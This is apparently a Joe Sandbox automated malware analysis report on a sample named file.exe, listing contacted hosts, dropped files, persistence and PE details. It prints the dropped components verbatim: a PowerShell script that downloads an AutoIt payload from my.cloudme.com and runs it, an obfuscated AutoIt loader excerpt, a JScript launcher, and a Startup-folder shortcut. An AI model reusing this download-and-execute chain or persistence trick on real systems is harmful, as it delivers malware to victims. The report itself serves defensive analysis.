https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1809510030.000001C71DC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000001.00000002.1809510030.000001C71D8F2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1809510030.000001C71C291000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://my.cloudme.com	powershell.exe, 00000001.00000002.1809510030.000001C71D11F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.autoitscript.com/autoit3/	file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2956313395.0000000004AE0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1809510030.000001C71C291000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://my.cloudme.com	powershell.exe, 00000001.00000002.1809510030.000001C71D887000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 00000001.00000002.1809510030.000001C71D8F2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
83.140.241.4	my.cloudme.com	Sweden		39369	PORT80SE	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528956
Start date and time:	2024-10-08 14:11:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.expl.evad.winEXE@12/10@3/1
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 46 Number of non-executed functions: 243
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7452 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:11:59	API Interceptor	42x Sleep call for process: powershell.exe modified
08:12:44	API Interceptor	3159x Sleep call for process: InformationCheck.exe modified
08:13:02	API Interceptor	1962x Sleep call for process: SwiftWrite.pif modified
13:12:07	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
83.140.241.4	T6l6gPxwQU.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
my.cloudme.com	T6l6gPxwQU.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PORT80SE	na.elf	Get hash	malicious	Mirai	Browse	82.96.23.36
	T6l6gPxwQU.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	mirai.x86.elf	Get hash	malicious	Mirai	Browse	83.140.143.216
	botx.mips.elf	Get hash	malicious	Mirai	Browse	217.75.105.3
	Q2bIN963Kt.elf	Get hash	malicious	Mirai, Okiru	Browse	82.96.9.42
	62CajT4n8H.elf	Get hash	malicious	Unknown	Browse	83.140.44.136
	GpqAAlRMz4.elf	Get hash	malicious	Moobot	Browse	82.96.9.72

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	83.140.241.4
	eshkere.bat	Get hash	malicious	Xmrig	Browse	83.140.241.4
	JFFjXW16yR.exe	Get hash	malicious	DarkCloud, PureLog Stealer, zgRAT	Browse	83.140.241.4
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	83.140.241.4
	SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe	Get hash	malicious	AgentTesla	Browse	83.140.241.4
	NXPYoHNSgv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	83.140.241.4
	SWIFT 103 202410071519130850 071024.pdf.vbs	Get hash	malicious	Remcos	Browse	83.140.241.4
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	83.140.241.4
	po 1105670313_pdf.vbs	Get hash	malicious	Unknown	Browse	83.140.241.4
	PO_89_202876.Pdf.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	83.140.241.4

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	T6l6gPxwQU.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Remcos	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse
C:\Users\Public\InformationCheck.exe	T6l6gPxwQU.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Remcos	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\Public\Details.au3

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
Category:	dropped
Size (bytes):	3620039
Entropy (8bit):	4.736955843465757
Encrypted:	false
SSDEEP:	24576:qcvKQ2VLYaNQyTmm7tz64dFZS2qymrZEDXYUJwTRPVi+3MQt/+DnIJKXU4nKojHJ:c
MD5:	72763724603D6508FBBCDEC39CDA4D4D
SHA1:	3C837147E67B55121B59EAE7E42C8EC872E4D161
SHA-256:	BCE069F52CDA27A4EC001A2BB0E6605AE817E6B64BCAA6A007DE513C641D32CC
SHA-512:	A6CFCD7F382366E77585403ACB5B4A227EA9CA20A0A7028A360336E1D9C7CC8CD2DBA6C42E7DA8984B1E7BD9CEDED2810D33871542139A2F821164C9A7BCD7C9
Malicious:	true
Reputation:	low
Preview:	.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

C:\Users\Public\InformationCheck.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: T6l6gPxwQU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\ProfileDetails.ps1

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	380
Entropy (8bit):	5.116284509919443
Encrypted:	false
SSDEEP:	6:gsvPFyKoJZYZId25PaH9Ayz1gY1PaHzPMKds48QLh8JdWzH6mLF7djIXIINOQboA:xv9ZoFrAymYEzdHGHWzH6mL5dsfHb5M+
MD5:	7E5918EC14E800FE40280F727544F88D
SHA1:	510337BBF777624CCDD45402B50A54709AFE1DBF
SHA-256:	EA88240652FD5531C00665A03D4F78B8E8AC1ECC8C4014E5A3063996D29EB151
SHA-512:	02013E30AF60B2F81EE83ED7CABE08BEF60C2BCE7284E46EA620D7735C30B5A558F6F302CB7D53DA6EDB8ACC28BE7CB315F3A5C041AB22E7EAECEF73757DE89A
Malicious:	true
Reputation:	low
Preview:	$url = "https://my.cloudme.com/v1/ws2/:updatemake/:reality/reality.txt"..$outputFile = "C:\Users\Public\Details.au3"..$decodedRunooPath = "C:\Users\Public\InformationCheck.exe"......$content = Invoke-WebRequest -Uri $url -UseBasicParsing......$content.Content \| Out-File -FilePath $outputFile -Encoding UTF8......Start-Process -FilePath $decodedRunooPath -ArgumentList $outputFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bv201eo.3bw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eamjnkh2.zwk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\WordGenius Technologies\G

Download File

Process:	C:\Users\Public\InformationCheck.exe
File Type:	ASCII text, with very long lines (1266)
Category:	dropped
Size (bytes):	3620036
Entropy (8bit):	4.736940517668657
Encrypted:	false
SSDEEP:	24576:DcvKQ2VLYaNQyTmm7tz64dFZS2qymrZEDXYUJwTRPVi+3MQt/+DnIJKXU4nKojHJ:P
MD5:	9E8D5AA38FF56E9E7FD33459E9EF63DF
SHA1:	5CC576C041A709B739EA7FA46A702ECD2DC69F7C
SHA-256:	1A33298AFDC03C9AB7B5F9FA1017DDFBAE2C7D4EC6A381007F56F6C73C692F12
SHA-512:	7238F82A0C9618AE6C5A47A312ABDFC79DC8E44FB07BA80DBC613AF1D7F54B6B93F6F132ADACD9157219E1F421BFE3462C0C14D301A289048D40EFDD3B6807D6
Malicious:	false
Preview:	Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

Download File

Process:	C:\Users\Public\InformationCheck.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.736154105743425
Encrypted:	false
SSDEEP:	3:RiMIpGXfeNH5E5wWAX+Ro6p4EkD5yKXW/Zi+0/RaMl85uWAX+Ro6p4EkD5yKXW/f:RiJbNHCwWDKaJkDrXW/Zz0tl8wWDKaJX
MD5:	612D28A7A2758BAAF54DB34272446F87
SHA1:	D4671632FC2141EF2AB2455F8923BC5197B2FD68
SHA-256:	94A83DD87CE7268703585A40C52491DDC7D332380B82832951DED047AAE6D73A
SHA-512:	B4B64908C674F92F5D4B1E761E123957E8D5CD6C3F433D2D5C6ADD19101FD0610EE968222D4CED31E8F21F7F022D880E7E723E4171BC7DB18C37A2000A58565B
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Download File

Process:	C:\Users\Public\InformationCheck.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: T6l6gPxwQU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.915531212533357
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYot+kiE2J5yKXW/Zi+URAAy:HRYF5yjowkn23yKXW/Zzyy
MD5:	56D029782506F3E1F7EC40780D1DA27F
SHA1:	C7E0690DE9B31C951AC212A7E940E460267F2BA1
SHA-256:	5F412A72A3459ACA6A245DE1A280AB53CA5E6B306FECA32E0DF4B0B9B7863223
SHA-512:	1C5F108FB4325E4B47E9EE15F5D828569EE90676D5170D6D3B92BD13BD39CCAA68657CBB97761007154C73D2FFCFA8A3582879CB2097A899B22C1C83848A9D92
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.327058241749548
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'016'768 bytes
MD5:	1d2cf62e7874bb460b7258279a55ddf3
SHA1:	9a060f273aee924d7972a5ddd561a34f4510d64d
SHA256:	c5378718434462185d98c672106dbfd4efbc8d6b7a0c60efe79000f11c955ffa
SHA512:	c7c0d1d19b7d1b200f00199c6e8795f12ac2839fd9e4d19268f6d2c409df4afa1b898b97e71bee25f5b28c2b8d0e88364a1a528d17ccdcaed9c626e5916a6056
SSDEEP:	49152:v2EYTb8atv1orq+pEiSDTj1VyvBaYzDiu2wlNF9wGDOg8jLeO07B+Iy3AqMl1ZcK:uXbIrqmDiu2cNF9wGDc07B+yqm1Z
TLSH:	0795CF0973A4819DFEABE1B6CA22C657D6B17C458276861F01A47F763F337701A2E321
File Content Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG.....>PG......PG......PG.....PG.y8B..PG.y8C.:PG.y8D.#PG."(..#PG."(..PG."(...PG.+PF..RG..9I.{PG..9D.PG..9..PG

File Icon


Icon Hash:	03c341595179597f

Static PE Info

General

Entrypoint:	0x14002549c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6703DEEA [Mon Oct 7 13:15:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	fadc5a257419d2541a6b13dfb5e311e2

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F45D8857B60h
dec eax
add esp, 28h
jmp 00007F45D885746Fh
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009466Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F45D8859079h
dec eax
lea eax, dword ptr [0009467Dh]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [00094674h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00094659h]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009460Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F45D8859019h
dec eax
lea eax, dword ptr [00094645h]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0009463Ch]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00000021h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe5c10	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfb000	0xf7d5f	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xf4000	0x6f48	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1f3000	0xa74	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc7050	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd9aa0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xc7070	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb5000	0x1138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb3328	0xb3400	507a8505198e35cc9675301d53e3b1c4	False	0.5503358721234309	data	6.5212967575920215	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb5000	0x34204	0x34400	9eda36be0cf076085a2f9772c1ee5803	False	0.30884139503588515	data	5.360588077813426	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xea000	0x9120	0x5000	ec6b77d6ef8898b0d3b7d48c042d66a0	False	0.040673828125	DOS executable (block device driver)	0.5749243362866429	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xf4000	0x6f48	0x7000	4416e27f8be9f9271c439d2fd34d1b2d	False	0.49612862723214285	data	5.911479421450324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
